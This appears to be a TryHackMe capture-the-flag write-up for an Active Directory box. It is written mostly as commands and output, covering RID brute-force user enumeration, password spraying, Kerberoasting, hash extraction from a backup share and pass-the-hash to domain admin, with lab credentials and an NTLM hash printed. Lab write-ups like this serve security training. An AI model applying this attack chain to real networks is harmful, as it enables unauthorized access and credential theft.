Post

THM: Soupedecode

THM: Soupedecode

Banner

Windows Active Directory box. Enumerated users via RID brute force with guest access, password sprayed to gain initial foothold, kerberoasted service account, and used pass-the-hash with extracted NTLM hashes for domain admin access.

Initial Enumeration

Nmap Scan

1
sudo nmap -sS -sV -sC -p- -T4 TARGET_IP -v

Results:

1
2
3
4
5
6
7
8
9
10
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: Host: DC01; Domain: SOUPEDECODE.LOCAL

Key Findings:

  • Domain Controller
  • Domain: SOUPEDECODE.LOCAL
  • Hostname: DC01

Initial Access

Anonymous SMB Enumeration

1
enum4linux-ng TARGET_IP

Discovered anonymous/guest access enabled.

Adding Domain to Hosts

1
sudo sed -i '1iTARGET_IP    dc01.soupedecode.local' /etc/hosts

Share Enumeration

1
nxc smb dc01.soupedecode.local -u 'guest' -p '' --shares

User Enumeration

RID Brute Force

1
nxc smb dc01.soupedecode.local -u 'guest' -p '' --rid-brute 3000

Building Username List

1
nxc smb dc01.soupedecode.local -u 'guest' -p '' --rid-brute 3000 | cut -d '\' -f 2 | cut -d ' ' -f 1 > Soupedecode_Usernames.txt

Password Spraying

1
2
3
4
5
6
msfconsole
use auxiliary/scanner/smb/smb_login
set RHOSTS dc01.soupedecode.local
set USER_FILE Soupedecode_Usernames.txt
set PASS_FILE Soupedecode_Usernames.txt
run

Success: Found credentials ybob317:ybob317


First Flag

Verifying Credentials

1
nxc smb dc01.soupedecode.local -u 'ybob317' -p 'ybob317'

Accessing User Share

1
2
3
smbclient //dc01.soupedecode.local/Users -U ybob317
cd ybob317/Desktop
get user.txt

First flag obtained.


Privilege Escalation

Kerberoasting

1
GetUserSPNs.py -request -outputfile kerberoastables.txt 'SOUPEDECODE.LOCAL/ybob317:ybob317'

Cracking Service Account

1
2
john --wordlist=/Desktop/rockyou.txt ~/kerberoastables.txt
john ~/kerberoastables.txt --show

Cracked credentials: file_svc:Password123!!


Lateral Movement

Enumerating file_svc Access

1
nxc smb dc01.soupedecode.local -u 'file_svc' -p 'Password123!!' --shares

Discovered “backup” share.

Accessing Backup Share

1
2
smbclient //TARGET_IP/backup -U file_svc
get backup_extract.txt

Contents: NTLM password hashes


Hash Extraction

Parsing Credentials

1
2
cat backup_extract.txt | cut -d ':' -f 1 > backup_usernames.txt
cat backup_extract.txt | cut -d ':' -f 4 > backup_ntlm.txt

Hash Spraying

1
nxc smb dc01.soupedecode.local -u backup_usernames.txt -H backup_ntlm.txt --no-bruteforce --continue-on-success

Result: Hash :e41da7e79a4c76dbd9cf79d1cb325559 shows (Pwned!) - administrative privileges


Domain Admin Access

Pass-the-Hash

1
smbclient --hashes :e41da7e79a4c76dbd9cf79d1cb325559 'SOUPEDECODE.LOCAL/FileServer$@dc01.soupedecode.local'

Retrieving Root Flag

1
2
3
use C$
cd Users/Administrator/Desktop
get root.txt

Root flag obtained.


Notable Commands

CommandDescription
nmap -sS -sV -sC -p-Full SYN scan with service detection
--rid-bruteEnumerate users via RID cycling
GetUserSPNsRequest Kerberos TGS tickets (Kerberoasting)
--no-bruteforceTest each user with corresponding hash only
--continue-on-successKeep testing after finding valid creds
smbclient --hashesPass-the-Hash authentication

Key Takeaways

  • Anonymous SMB on domain controllers enables full user enumeration via RID brute force
  • Weak password patterns (username:username) are easily exploited
  • Kerberoasting extracts crackable hashes from service accounts with SPNs
  • Backup shares frequently contain sensitive data like password hashes
  • Pass-the-Hash allows authentication without plaintext passwords
  • “Pwned!” indicator in NetExec signifies administrative access

Room: SoupedecodePlatform: TryHackMeDifficulty: MediumAttack Path: Anonymous SMB → RID Brute → Kerberoasting → Pass-the-Hash
This post is licensed under CC BY 4.0 by the author.